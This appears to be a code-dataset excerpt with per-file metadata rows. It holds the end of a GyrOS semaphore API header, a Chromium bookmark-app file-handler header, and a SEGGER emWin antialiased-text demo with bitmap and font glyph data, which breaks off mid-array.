/** Initialize the semaphore @a s to be a counting semaphore with
* start value @a start_value.
*
* \param s Semaphore struct pointer.
* \param start_value Start value.
*/
void gyros_sem_init(gyros_sem_t *s, int start_value);
/** Initialize the semaphore @a s to be an unsignalled binary
* semaphore.
*
* \param s Semaphore struct pointer.
*/
void gyros_sem_init_binary(gyros_sem_t *s);
/** Wait for the semaphore @a s to be signalled.
*
* \param s Semaphore struct pointer.
*/
void gyros_sem_wait(gyros_sem_t *s);
/** Wait for the semaphore @a s to be signalled, or until the absolute
* time @a timeout has passed.
*
* \param s Semaphore struct pointer.
* \param timeout Timeout. See gyros_time().
* \return True if the semaphore was signalled, or
* false if @a timeout was reached.
*/
bool gyros_sem_wait_until(gyros_sem_t *s, gyros_abstime_t timeout);
/** Signal the semaphore @a s. May be called from interrupt context.
*
* \param s Semaphore struct pointer.
*/
void gyros_sem_signal(gyros_sem_t *s);
/*@}*/
#ifdef __cplusplus
}
#endif
#endif
| 32.335294 | 76 | 0.67746 | [
"object"
] |
31371b612ed3a8c5a7f4c03c0d935bc13ad45814 | 1,007 | h | C | chrome/browser/web_applications/extensions/bookmark_app_file_handler_manager.h | sarang-apps/darshan_browser | 173649bb8a7c656dc60784d19e7bb73e07c20daa | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 575 | 2015-06-18T23:58:20.000Z | 2022-03-23T09:32:39.000Z | chrome/browser/web_applications/extensions/bookmark_app_file_handler_manager.h | sarang-apps/darshan_browser | 173649bb8a7c656dc60784d19e7bb73e07c20daa | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 113 | 2015-05-04T09:58:14.000Z | 2022-01-31T19:35:03.000Z | chrome/browser/web_applications/extensions/bookmark_app_file_handler_manager.h | sarang-apps/darshan_browser | 173649bb8a7c656dc60784d19e7bb73e07c20daa | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 52 | 2015-07-14T10:40:50.000Z | 2022-03-15T01:11:49.000Z | // Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_WEB_APPLICATIONS_EXTENSIONS_BOOKMARK_APP_FILE_HANDLER_MANAGER_H_
#define CHROME_BROWSER_WEB_APPLICATIONS_EXTENSIONS_BOOKMARK_APP_FILE_HANDLER_MANAGER_H_
#include <vector>
#include "chrome/browser/web_applications/components/file_handler_manager.h"
namespace web_app {
class WebAppMigrationManager;
} // namespace web_app
namespace extensions {
class BookmarkAppFileHandlerManager : public web_app::FileHandlerManager {
public:
explicit BookmarkAppFileHandlerManager(Profile* profile);
~BookmarkAppFileHandlerManager() override;
protected:
const apps::FileHandlers* GetAllFileHandlers(
const web_app::AppId& app_id) override;
friend class web_app::WebAppMigrationManager;
};
} // namespace extensions
#endif // CHROME_BROWSER_WEB_APPLICATIONS_EXTENSIONS_BOOKMARK_APP_FILE_HANDLER_MANAGER_H_
| 30.515152 | 90 | 0.828203 | [
"vector"
] |
ebde4aee65035d0554f1566b589a8e8f72b9d721 | 25,749 | c | C | project/realtek_amebaD_va0_example/example_sources/LCDC/GUI_demo/emWin/AA_Text/src_hp/AA_Text.c | matsujirushi/seeed-ambd-sdk | 3cc64f293f756ffb3cd379fffb972b7401cb0951 | [
"MIT"
] | 11 | 2020-05-22T14:54:41.000Z | 2021-09-29T02:32:03.000Z | project/realtek_amebaD_va0_example/example_sources/LCDC/GUI_demo/emWin/AA_Text/src_hp/AA_Text.c | matsujirushi/seeed-ambd-sdk | 3cc64f293f756ffb3cd379fffb972b7401cb0951 | [
"MIT"
] | 2 | 2020-07-18T11:02:34.000Z | 2020-09-23T08:23:38.000Z | project/realtek_amebaD_va0_example/example_sources/LCDC/GUI_demo/emWin/AA_Text/src_hp/AA_Text.c | matsujirushi/seeed-ambd-sdk | 3cc64f293f756ffb3cd379fffb972b7401cb0951 | [
"MIT"
] | 7 | 2020-05-24T10:28:48.000Z | 2021-06-15T16:35:38.000Z | /**********************************************************************
* SEGGER Software GmbH *
* Solutions for real time microcontroller applications *
**********************************************************************
* *
* (c) 1996 - 2019 SEGGER Microcontroller GmbH *
* *
* Internet: www.segger.com Support: support@segger.com *
* *
**********************************************************************
** emWin V5.48 - Graphical user interface for embedded applications **
All Intellectual Property rights in the Software belongs to SEGGER.
emWin is protected by international copyright laws. Knowledge of the
source code may not be used to write a similar product. This file may
only be used in accordance with the following terms:
The software has been licensed by SEGGER Software GmbH to Realtek
Semiconductor Corp. at the address: Realtek Semiconductor Corp.,
Hsinchu Science Park, Innovation Rd. II 2, 300 Hsinchu city, Taiwan for
the purposes of creating libraries for its Cortex-M series of
Microcontroller Units designed, branded, marketed and manufactured by
Realtek Semiconductor Corp. under the terms and conditions of an End
User License Agreement supplied with the libraries.
Full source code is available at: www.segger.com
We appreciate your understanding and fairness.
----------------------------------------------------------------------
Licensing information
Licensor: SEGGER Software GmbH
Licensed to: Realtek Semiconductor Corp., Hsinchu Science Park, Innovation Rd. II 2, 300 Hsinchu city, Taiwan
Licensed SEGGER software: emWin
License number: GUI-00784
License model: emWin Buyout Agreement, signed May 15th, 2019
Licensed platform: Cortex-M series of Microcontroller Units designed, branded, marketed and manufactured by LICENSEE
----------------------------------------------------------------------
File : AA_Text.c
Purpose : Shows text with different antialiasing qualities
Requirements: WindowManager - ( )
MemoryDevices - ( )
AntiAliasing - (x)
VNC-Server - ( )
PNG-Library - ( )
TrueTypeFonts - ( )
----------------------------------------------------------------------
*/
#include <stddef.h>
#include "GUI.h"
/*********************************************************************
*
* Defines
*
**********************************************************************
*/
//
// Recommended memory to run the sample with adequate performance
//
#define RECOMMENDED_MEMORY (1024L * 10)
/*********************************************************************
*
* Static const data
*
**********************************************************************
*/
/*********************************************************************
*
* _bmSeggerLogo_50x25
*/
static GUI_CONST_STORAGE GUI_COLOR _ColorsSeggerLogo_50x25[] = {
#if (GUI_USE_ARGB == 1)
0xFFFFFFFF,0xFF292929,0xFFCACACA,0xFF3D4396
,0xFF6E72B0,0xFF5F5F5F,0xFF949494,0xFF494F9D
,0xFFF3F3F8,0xFFD7D7D7,0xFF363636,0xFFA1A1A1
,0xFF9EA1CB,0xFFAAADD1,0xFFC2C4DE,0xFFE7E8F2
,0xFF515151,0xFF6C6C6C,0xFF7A7EB7,0xFFAFAFAF
,0xFFBCBCBC,0xFFDBDCEB,0xFFE4E4E4,0xFFF2F2F2
,0xFF878787,0xFF9295C4,0xFF000000,0xFF444444
,0xFF797979,0xFF555BA3,0xFF6166AA,0xFFCFD0E5
,0xFF868ABD,0xFFB6B9D8
#else
0xFFFFFF,0x292929,0xCACACA,0x96433D
,0xB0726E,0x5F5F5F,0x949494,0x9D4F49
,0xF8F3F3,0xD7D7D7,0x363636,0xA1A1A1
,0xCBA19E,0xD1ADAA,0xDEC4C2,0xF2E8E7
,0x515151,0x6C6C6C,0xB77E7A,0xAFAFAF
,0xBCBCBC,0xEBDCDB,0xE4E4E4,0xF2F2F2
,0x878787,0xC49592,0x000000,0x444444
,0x797979,0xA35B55,0xAA6661,0xE5D0CF
,0xBD8A86,0xD8B9B6
#endif
};
static GUI_CONST_STORAGE GUI_LOGPALETTE _PalSeggerLogo_50x25 = {
34, // number of entries
0, // No transparency
&_ColorsSeggerLogo_50x25[0]
};
static GUI_CONST_STORAGE unsigned char _acSeggerLogo_50x25[] = {
0x1A, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x1A,
0x01, 0x06, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x06, 0x01,
0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x1F, 0x12, 0x08, 0x00, 0x00, 0x20, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0D, 0x03, 0x12, 0x00, 0x00, 0x07, 0x03, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x1E, 0x03, 0x0D, 0x00, 0x0E, 0x03, 0x07, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x0F, 0x07, 0x03, 0x15, 0x00, 0x19, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x00, 0x0E, 0x03, 0x1D, 0x08, 0x00, 0x04, 0x03, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0E, 0x08, 0x00, 0x19, 0x03, 0x12, 0x00, 0x08, 0x07, 0x03, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x12, 0x00, 0x00, 0x1E, 0x03, 0x0D, 0x00, 0x1F, 0x03, 0x07, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x03, 0x0D, 0x00, 0x0F, 0x07, 0x03, 0x15, 0x00, 0x0D, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,
0x03, 0x03, 0x03, 0x03, 0x07, 0x0F, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x03, 0x03, 0x15, 0x00, 0x0E, 0x03, 0x1D, 0x08, 0x00, 0x19, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,
0x04, 0x04, 0x04, 0x04, 0x04, 0x0F, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x03, 0x03, 0x04, 0x00, 0x00, 0x04, 0x03, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x03, 0x03, 0x15, 0x00, 0x0E, 0x03, 0x1D, 0x08, 0x00, 0x19, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,
0x04, 0x04, 0x04, 0x04, 0x04, 0x0F, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x03, 0x0D, 0x00, 0x0F, 0x07, 0x03, 0x15, 0x00, 0x0D, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03,
0x03, 0x03, 0x03, 0x03, 0x07, 0x0F, 0x02, 0x01,
0x01, 0x02, 0x0C, 0x12, 0x00, 0x00, 0x1E, 0x03, 0x0D, 0x00, 0x1F, 0x03, 0x07, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0E, 0x08, 0x00, 0x19, 0x03, 0x12, 0x00, 0x08, 0x07, 0x03, 0x0E, 0x00, 0x14, 0x06, 0x13, 0x17, 0x00, 0x02, 0x02, 0x02, 0x02, 0x17, 0x00, 0x14, 0x06, 0x13, 0x17, 0x00, 0x00, 0x09, 0x06, 0x0B, 0x16, 0x00, 0x16, 0x02, 0x02, 0x02, 0x09, 0x17,
0x02, 0x02, 0x02, 0x09, 0x00, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x00, 0x0E, 0x03, 0x1D, 0x08, 0x00, 0x04, 0x03, 0x0C, 0x00, 0x18, 0x0A, 0x1C, 0x0A, 0x11, 0x02, 0x01, 0x10, 0x05, 0x05, 0x09, 0x11, 0x01, 0x05, 0x0A, 0x0A, 0x00, 0x18, 0x01, 0x05, 0x1B, 0x01, 0x16, 0x06, 0x0A, 0x05, 0x05, 0x11, 0x0B,
0x01, 0x05, 0x10, 0x01, 0x13, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x0F, 0x07, 0x03, 0x15, 0x00, 0x19, 0x03, 0x04, 0x00, 0x00, 0x11, 0x0A, 0x18, 0x0B, 0x02, 0x02, 0x01, 0x1C, 0x06, 0x0B, 0x09, 0x01, 0x0B, 0x00, 0x16, 0x0B, 0x00, 0x01, 0x1C, 0x00, 0x17, 0x06, 0x17, 0x06, 0x1B, 0x06, 0x06, 0x02, 0x06,
0x01, 0x02, 0x14, 0x01, 0x0B, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x1E, 0x03, 0x0D, 0x00, 0x0E, 0x03, 0x07, 0x08, 0x00, 0x00, 0x17, 0x18, 0x05, 0x01, 0x0A, 0x02, 0x01, 0x10, 0x05, 0x1C, 0x02, 0x01, 0x14, 0x13, 0x01, 0x01, 0x02, 0x01, 0x06, 0x09, 0x01, 0x01, 0x06, 0x06, 0x0A, 0x05, 0x05, 0x13, 0x06,
0x01, 0x01, 0x01, 0x01, 0x09, 0x00, 0x02, 0x01,
0x01, 0x02, 0x0D, 0x03, 0x12, 0x00, 0x00, 0x07, 0x03, 0x15, 0x00, 0x00, 0x00, 0x11, 0x10, 0x02, 0x18, 0x01, 0x13, 0x01, 0x0B, 0x02, 0x02, 0x09, 0x0A, 0x10, 0x02, 0x18, 0x01, 0x02, 0x05, 0x0A, 0x14, 0x0B, 0x01, 0x06, 0x06, 0x10, 0x02, 0x02, 0x02, 0x06,
0x01, 0x00, 0x16, 0x01, 0x14, 0x00, 0x02, 0x01,
0x01, 0x02, 0x1F, 0x12, 0x08, 0x00, 0x00, 0x20, 0x21, 0x00, 0x00, 0x00, 0x00, 0x09, 0x11, 0x01, 0x1B, 0x06, 0x16, 0x05, 0x05, 0x05, 0x05, 0x14, 0x09, 0x05, 0x01, 0x10, 0x10, 0x09, 0x16, 0x11, 0x01, 0x1B, 0x11, 0x0B, 0x13, 0x05, 0x05, 0x05, 0x05, 0x14,
0x05, 0x00, 0x00, 0x05, 0x13, 0x00, 0x02, 0x01,
0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01,
0x01, 0x06, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x06, 0x01,
0x1A, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x1A
};
static GUI_CONST_STORAGE GUI_BITMAP _bmSeggerLogo_50x25 = {
50, // XSize
25, // YSize
50, // BytesPerLine
8, // BitsPerPixel
_acSeggerLogo_50x25, // Pointer to picture data (indices)
&_PalSeggerLogo_50x25 // Pointer to palette
};
/*********************************************************************
*
* _FontAA4_32
*/
static GUI_CONST_STORAGE unsigned char acGUI_FontAA4_32_0041[180] = { // code 0041, LATIN CAPITAL LETTER A
0x00, 0x00, 0x00, 0x3F, 0xFF, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x8F, 0xFF, 0x70, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xEF, 0xFF, 0xD0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x04, 0xFF, 0xFF, 0xF3, 0x00, 0x00, 0x00,
0x00, 0x00, 0x09, 0xFF, 0xEF, 0xF8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0E, 0xFF, 0x6F, 0xFD, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5F, 0xFD, 0x0D, 0xFF, 0x40, 0x00, 0x00,
0x00, 0x00, 0xAF, 0xF7, 0x07, 0xFF, 0x90, 0x00, 0x00,
0x00, 0x01, 0xEF, 0xF2, 0x02, 0xFF, 0xE0, 0x00, 0x00,
0x00, 0x05, 0xFF, 0xC0, 0x00, 0xCF, 0xF5, 0x00, 0x00,
0x00, 0x0A, 0xFF, 0x70, 0x00, 0x7F, 0xFA, 0x00, 0x00,
0x00, 0x1F, 0xFF, 0x20, 0x00, 0x1F, 0xFF, 0x10, 0x00,
0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x00,
0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB0, 0x00,
0x02, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x00,
0x07, 0xFF, 0xB0, 0x00, 0x00, 0x00, 0xAF, 0xF6, 0x00,
0x0B, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x5F, 0xFB, 0x00,
0x2F, 0xFF, 0x10, 0x00, 0x00, 0x00, 0x0E, 0xFF, 0x20,
0x7F, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xFF, 0x70,
0xCF, 0xF5, 0x00, 0x00, 0x00, 0x00, 0x04, 0xFF, 0xC0
};
static GUI_CONST_STORAGE unsigned char acGUI_FontAA4_32_0042[140] = { // code 0042, LATIN CAPITAL LETTER B
0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xB6, 0x00,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x90,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5,
0xFF, 0xF0, 0x00, 0x00, 0x13, 0xCF, 0xFC,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x2F, 0xFF,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x3F, 0xFC,
0xFF, 0xF0, 0x00, 0x00, 0x14, 0xDF, 0xF7,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB0,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2,
0xFF, 0xF0, 0x00, 0x00, 0x26, 0xEF, 0xF9,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x5F, 0xFD,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x0F, 0xFF,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x4F, 0xFD,
0xFF, 0xF0, 0x00, 0x00, 0x14, 0xEF, 0xFA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x60,
0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xB4, 0x00
};
static GUI_CONST_STORAGE unsigned char acGUI_FontAA4_32_0043[140] = { // code 0043, LATIN CAPITAL LETTER C
0x00, 0x00, 0x5B, 0xEF, 0xEB, 0x60, 0x00,
0x00, 0x1B, 0xFF, 0xFF, 0xFF, 0xFC, 0x10,
0x00, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xF7, 0x10, 0x3A, 0xFF, 0xF7,
0x0E, 0xFF, 0x50, 0x00, 0x00, 0xAF, 0xFD,
0x5F, 0xFB, 0x00, 0x00, 0x00, 0x2D, 0x83,
0x9F, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00,
0xEF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00,
0xDF, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00,
0xAF, 0xF6, 0x00, 0x00, 0x00, 0x2D, 0x83,
0x6F, 0xFB, 0x00, 0x00, 0x00, 0x7F, 0xFD,
0x1F, 0xFF, 0x40, 0x00, 0x01, 0xEF, 0xF8,
0x08, 0xFF, 0xE7, 0x10, 0x4D, 0xFF, 0xF2,
0x00, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80,
0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0xF9, 0x00,
0x00, 0x00, 0x6B, 0xEF, 0xEA, 0x40, 0x00
};
static GUI_CONST_STORAGE GUI_CHARINFO_EXT GUI_FontAA4_32_CharInfo[3] = {
{ 17, 20, 0, 6, 17, acGUI_FontAA4_32_0041 } // code 0041, LATIN CAPITAL LETTER A
,{ 14, 20, 2, 6, 17, acGUI_FontAA4_32_0042 } // code 0042, LATIN CAPITAL LETTER B
,{ 14, 20, 1, 6, 17, acGUI_FontAA4_32_0043 } // code 0043, LATIN CAPITAL LETTER C
};
static GUI_CONST_STORAGE GUI_FONT_PROP_EXT GUI_FontAA4_32_Prop1 = {
0x0041 // first character
,0x0043 // last character
,&GUI_FontAA4_32_CharInfo[ 0] // address of first character
,(GUI_CONST_STORAGE GUI_FONT_PROP_EXT *)0 // pointer to next GUI_FONT_PROP_EXT
};
static GUI_CONST_STORAGE GUI_FONT _FontAA4_32 = {
GUI_FONTTYPE_PROP_AA4_EXT // type of font
,33 // height of font
,33 // space of font y
,1 // magnification x
,1 // magnification y
,{&GUI_FontAA4_32_Prop1}
,33 // Baseline
,15 // Height of lowercase characters
,20 // Height of capital characters
};
/*********************************************************************
*
* _FontAA2_32
*/
static GUI_CONST_STORAGE unsigned char acGUI_FontAA2_32_0041[100] = { // code 0041, LATIN CAPITAL LETTER A
0x00, 0x03, 0xF0, 0x00, 0x00,
0x00, 0x0B, 0xF4, 0x00, 0x00,
0x00, 0x0F, 0xFC, 0x00, 0x00,
0x00, 0x1F, 0xFC, 0x00, 0x00,
0x00, 0x2F, 0xFE, 0x00, 0x00,
0x00, 0x3F, 0x7F, 0x00, 0x00,
0x00, 0x7F, 0x3F, 0x40, 0x00,
0x00, 0xBD, 0x1F, 0x80, 0x00,
0x00, 0xFC, 0x0F, 0xC0, 0x00,
0x01, 0xFC, 0x0F, 0xD0, 0x00,
0x02, 0xF4, 0x07, 0xE0, 0x00,
0x03, 0xF0, 0x03, 0xF0, 0x00,
0x07, 0xFF, 0xFF, 0xF4, 0x00,
0x0B, 0xFF, 0xFF, 0xF8, 0x00,
0x0F, 0xFF, 0xFF, 0xFC, 0x00,
0x1F, 0x80, 0x00, 0xBD, 0x00,
0x3F, 0x40, 0x00, 0x7F, 0x00,
0x3F, 0x00, 0x00, 0x3F, 0x00,
0x7E, 0x00, 0x00, 0x2F, 0x40,
0xFD, 0x00, 0x00, 0x1F, 0xC0
};
static GUI_CONST_STORAGE unsigned char acGUI_FontAA2_32_0042[ 80] = { // code 0042, LATIN CAPITAL LETTER B
0xFF, 0xFF, 0xF9, 0x00,
0xFF, 0xFF, 0xFF, 0x80,
0xFF, 0xFF, 0xFF, 0xD0,
0xFC, 0x00, 0x0F, 0xF0,
0xFC, 0x00, 0x03, 0xF0,
0xFC, 0x00, 0x03, 0xF0,
0xFC, 0x00, 0x03, 0xF0,
0xFC, 0x00, 0x1F, 0xD0,
0xFF, 0xFF, 0xFF, 0xC0,
0xFF, 0xFF, 0xFF, 0x40,
0xFF, 0xFF, 0xFF, 0xC0,
0xFC, 0x00, 0x1F, 0xE0,
0xFC, 0x00, 0x07, 0xF0,
0xFC, 0x00, 0x03, 0xF0,
0xFC, 0x00, 0x03, 0xF0,
0xFC, 0x00, 0x07, 0xF0,
0xFC, 0x00, 0x1F, 0xE0,
0xFF, 0xFF, 0xFF, 0xC0,
0xFF, 0xFF, 0xFF, 0x40,
0xFF, 0xFF, 0xF9, 0x00
};
static GUI_CONST_STORAGE unsigned char acGUI_FontAA2_32_0043[ 80] = { // code 0043, LATIN CAPITAL LETTER C
0x00, 0x6F, 0xE4, 0x00,
0x02, 0xFF, 0xFF, 0x00,
0x0F, 0xFF, 0xFF, 0xC0,
0x1F, 0xD0, 0x2F, 0xD0,
0x3F, 0x40, 0x0B, 0xF0,
0x7E, 0x00, 0x03, 0x80,
0xBD, 0x00, 0x00, 0x00,
0xFC, 0x00, 0x00, 0x00,
0xFC, 0x00, 0x00, 0x00,
0xFC, 0x00, 0x00, 0x00,
0xFC, 0x00, 0x00, 0x00,
0xFC, 0x00, 0x00, 0x00,
